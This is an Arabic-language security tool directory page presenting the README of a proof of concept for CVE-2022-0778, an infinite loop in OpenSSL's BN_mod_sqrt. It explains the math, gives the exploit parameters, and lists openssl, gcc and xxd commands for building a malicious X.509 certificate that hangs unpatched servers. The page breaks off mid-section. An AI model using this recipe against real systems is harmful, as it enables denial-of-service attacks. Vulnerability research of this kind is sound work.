Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2022-0778 — إثبات مفهوم لاستغلال CVE-2022-0778، يوضح حلقة لا نهائية في دالة BN_mod_sqrt الخاصة بـ OpenSSL عبر شهادة X.509 مصممة بعناية تحتوي على معاملات منحنى غير أولية، مما يتيح هجمات حجب الخدمة. | Kitploit
أدوات/GitHubGitHub/drago-96/cve-2022-0778
تحليل الثغرات الأمنيةالاستغلالالتشفيرتحليل الملفات الثنائيةالأوراق والأبحاثالتعلم والتعليم
GitHubdrago-96/cve-2022-0778

CVE-2022-0778

إثبات مفهوم لاستغلال CVE-2022-0778، يوضح حلقة لا نهائية في دالة BN_mod_sqrt الخاصة بـ OpenSSL عبر شهادة X.509 مصممة بعناية تحتوي على معاملات منحنى غير أولية، مما يتيح هجمات حجب الخدمة.

عرض المستودع
181468منذ 4 سنواتتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2022-0778

الثغرة المكتشفة تؤدي إلى حلقة لا نهائية في الدالة BN_mod_sqrt() من OpenSSL أثناء تحليل مفتاح منحنى إهليلجي. هذا يعني أن شهادة X.509 مصممة بشكل خبيث يمكنها تعطيل أي خادم غير مُصَحَّح.

جوهر الثغرة يكمن في تحليل مفاتيح EC بنقاط بصيغة مضغوطة: أثناء تحليل هذا النوع من المفاتيح، يحاول OpenSSL توسيع النقطة المضغوطة، محاولاً حساب جذر تربيعي بمعامل العدد الأولي p الذي يُعرَّف عليه المنحنى. ومع ذلك، لا يتم التحقق من أولية p في أي مكان، ولا حتى في BN_mod_sqrt() التي تتطلب ذلك؛ وبالتالي، سيؤدي خطأ في التطبيق إلى حلقة لا نهائية بسبب أن p ليس أولياً كما هو متوقع.

يمكن الاطلاع على النسخة الصينية في مدونتي OpenSSL CVE-2022-0778漏洞问题复现与非法证书构造

الإسناد

  • Tavis Ormandy لاكتشاف الثغرة والإفصاح عنها
  • Drago لنشر الاختبار ضد BN_mod_sqrt()
  • catbro666 لصياغة شهادة X.509 تجعل الخادم يتوقف فعلياً
  • wllm-rbnt لأداة asn1template المفيدة

كيفية الاختبار

المتطلب الأساسي هو تثبيت gcc وإصدار ضعيف من OpenSSL.

للخلل في BN_mod_sqrt(): قم بالتجميع باستخدام gcc -o my_bad_sqrt my_bad_sqrt.c -lcrypto، ثم شغّل ./my_bad_sqrt وشاهده يتعطل إلى الأبد! :D

باستخدام شهادة: قم بتشغيل الأمر openssl x509 -in certs/cert.der.new -inform DER -text -noout على سطر الأوامر؛ هذا أيضاً يسبب تعليقاً.

الوصول إلى الحلقة

تقوم الدالة BN_mod_sqrt() بتنفيذ خوارزمية Tonelli-Shanks لإيجاد جذر تربيعي نمطي، أي بمعطى عدد صحيح a وعدد أولي p، تُرجع قيمة r بحيث r^2 == a (mod p).

عند تحليل الcommit الذي يُصلح الثغرة، نرى أن السبب هو الحلقة التي تبحث عن أصغر فهرس i الذي يتحقق عنده b^(2^i)==1 (mod p)، حيث b مُعرَّف مسبقاً في الخوارزمية.

تم تغيير الحلقة من

i = 1;
if (!BN_mod_sqr(t, b, p, ctx))
    goto end;
while (!BN_is_one(t)) {
    i++;
    if (i == e) {
        ERR_raise(ERR_LIB_BN, BN_R_NOT_A_SQUARE);
        goto end;
    }
    if (!BN_mod_mul(t, t, t, p, ctx))
        goto end;
}

إلى

for (i = 1; i < e; i++) {
    if (i == 1) {
        if (!BN_mod_sqr(t, b, p, ctx))
            goto end;
    } else {
        if (!BN_mod_mul(t, t, t, p, ctx))
            goto end;
    }
    if (BN_is_one(t))
        break;
}

في الحالة الثانية، هناك حلقة for محدودة بالمتغير e؛ بينما في الكود الأصلي يوجد فقط فحص للحالة i==e داخل حلقة while.

نظراً لأن هذه الحلقات موجودة داخل حلقة أكبر، والتي تُحدد لكل تكرار القيمة الجديدة لـ e كقيمة i الحالية، نحاول استراتيجية الهجوم التالية:

  1. في أول تنفيذ للحلقة الخارجية، نجعل i=1 في النهاية؛ لذلك نحتاج إلى b^2=1 (mod p).
  2. بهذه الطريقة، أثناء التنفيذ الثاني سيكون لدينا e=1، وإذا تمكنا من الدخول إلى الحلقة الداخلية، سيفشل فحص i==e دائماً.
  3. إذا تمكنا من ضمان أن t != 1 (mod p) دائماً، فسنبقى في الحلقة إلى الأبد.

لاحظ أن الخطوتين الأوليين يمكن أن تحدثا فعلياً في تنفيذ "طبيعي"، أي مع عدد أولي p. لكن إذا كان p مركباً، يمكننا أيضاً تحقيق الخطوة الثالثة!

بعض الرياضيات

تعمل خوارزمية Tonelli-Shanks عن طريق كتابة p - 1 = 2^e * q، مع q فردي. هذا هو أيضاً رتبة مجموعة الضرب للأعداد الصحيحة بمعامل p، وسيتم استخدام القيمتين e و q مرات عديدة أثناء التنفيذ؛ لكن إذا لم يكن p أولياً، فإن رتبة مجموعة الضرب لن تكون p-1، وهذا سيساعدنا في الوصول إلى الحلقة اللانهائية.

على وجه الخصوص، يتم تهيئة b كـ b = a^q (mod p)، مما يعني أنه إذا كان p أولياً، فإن رتبة b ستكون قوة من 2، وسنجدها بعد ذلك باستخدام الحلقة.

لكن إذا جعلنا p = r * s، فإن رتبة مجموعة الضرب هي (r-1)*(s-1) = r*s - r - s + 1 بدلاً من r*s-1. تستخدم الخوارزمية القيمة q للحصول على عنصر y من الرتبة 2^e بالضبط؛ ومع ذلك، عندما لا يكون p أولياً، فإن القيمة q لن يكون لها معنى خاص بالنسبة للرتبة، لذا لن يكون للعنصر y رتبة قوة من اثنين بمعامل p=r*s.

نظراً لأنه في نهاية الحلقة الخارجية الأولى يتم تعيين b كـ b = b*y^(e-i) (mod p)، ففي التكرار الثاني لها، ستحاول الحلقة الداخلية إيجاد قيمة i تتحقق عندها b^(2^i) == 1 (mod p)، لكنها ستفشل لأن y لم يعد مضموناً أن له رتبة قوة من اثنين.

الاستغلال

الأرقام في الاستغلال بسيطة جداً: نأخذ r=17, s=41، مما يعطي p=r*s=697. هذا يعني أن القيم المحسوبة لـ e و q ستكون p-1 = 2^3 * 87.

ثم نختار a=696، مما يعني أن a == -1 (mod p) وأيضاً b == -1 (mod p) عند التهيئة. سيحقق ذلك الخطوة 1 مع تعيين e=1 للحلقة الخارجية التالية.

ثم سيتم تعيين b لعنصر رتبته ليست قوة من 2، وستعلق الحلقة الداخلية في محاولة إيجاد i تتحقق عنده b^(2^i)==1 (mod p).

إنشاء شهادة خطيرة

حسناً، الآن لنقم بصياغة شهادة خطيرة تحتوي على معاملات منحنى صريحة غير صالحة مع نقطة أساس مشفرة بصيغة مضغوطة.

ملفات هذا القسم موجودة في مجلد certs.

إنشاء شهادة عادية بمعاملات منحنى صريحة

أولاً، نحتاج إلى إنشاء مفتاح EC خاص. لأننا نريد شهادة مستهدفة بمعاملات منحنى صريحة، لذا يجب أن يحتوي المفتاح أيضاً على معاملات منحنى صريحة.

$ openssl ecparam -out ec.key -name prime256v1 -genkey -noout -param_enc explicit -conv_form compressed

ثم، للراحة، قمنا بتوقيع الشهادة ذاتياً، وإخراجها بصيغة DER.

$ openssl req -new -x509 -key ec.key -out cert.der -outform DER -days 360 -subj "/CN=TEST/"

لنتحقق من معلومات الشهادة. تحتوي على معاملات منحنى صريحة كما هو متوقع.

$ openssl x509 -in cert.der -text -noout -inform DER
...
                Field Type: prime-field
                Prime:
                    00:ff:ff:ff:ff:00:00:00:01:00:00:00:00:00:00:
                    00:00:00:00:00:00:ff:ff:ff:ff:ff:ff:ff:ff:ff:
                    ff:ff:ff
                A:
                    00:ff:ff:ff:ff:00:00:00:01:00:00:00:00:00:00:
                    00:00:00:00:00:00:ff:ff:ff:ff:ff:ff:ff:ff:ff:
                    ff:ff:fc
                B:
                    5a:c6:35:d8:aa:3a:93:e7:b3:eb:bd:55:76:98:86:
                    bc:65:1d:06:b0:cc:53:b0:f6:3b:ce:3c:3e:27:d2:
                    60:4b
                Generator (compressed):
                    03:6b:17:d1:f2:e1:2c:42:47:f8:bc:e6:e5:63:a4:
                    40:f2:77:03:7d:81:2d:eb:33:a0:f4:a1:39:45:d8:
                    98:c2:96
                Order:
                    00:ff:ff:ff:ff:00:00:00:00:ff:ff:ff:ff:ff:ff:
                    ff:ff:bc:e6:fa:ad:a7:17:9e:84:f3:b9:ca:c2:fc:
                    63:25:51
...

صياغة شهادة غير صالحة

الآن نحتاج إلى تعديل قيم هذه المعاملات: Prime, A, B, Generator. تحقق المعادلة التالية

حيث p هو Prime، a هو المعامل A، و b هو المعامل B. p, a, b معاً يحددان منحنى. فك ضغط نقطة يعني حساب الإحداثي Y من الإحداثي X المقابل.

من الواضح أنه يجب استخدام عملية الجذر التربيعي النمطي، والتي ستستدعي BN_mod_sqrt().

بناءً على عمل drago-96، نأخذ p=697، x^3+ax+b=696. ثم نحتاج فقط إلى اختيار a, b, x مناسبة تحقق المعادلة الثانية. نأخذ x=8، a=23، b=0 هنا.

حسناً، الآن يمكننا البدء في تعديل الشهادة. تعديل بنية ASN.1 يدوياً أمر مزعج حقاً. استخدمت الأداة xxd لتحويل الشهادة إلى صيغة hex، ثم قمت بتعديلها باستخدام vim. بعد الانتهاء من التعديل، قمت بتحويلها مرة أخرى باستخدام xxd -r.

$ cp cert.der cert.der.old
$ xxd cert.der cert.der.hex
$ cp cert.der.hex cert.der.hex.old
$ vim cert.der.hex
# تعديل cert.der.hex
# ...
# اكتمل
$ xxd -r cert.der.hex cert.der.new

لم أجد أداة أكثر ملاءمة. إذا كان أي شخص يعرف مثل هذه الأداة، فيرجى المشاركة بتعليقاتكم.

خطوات الصياغة تقريباً كما يلي:

تنزيل الأداة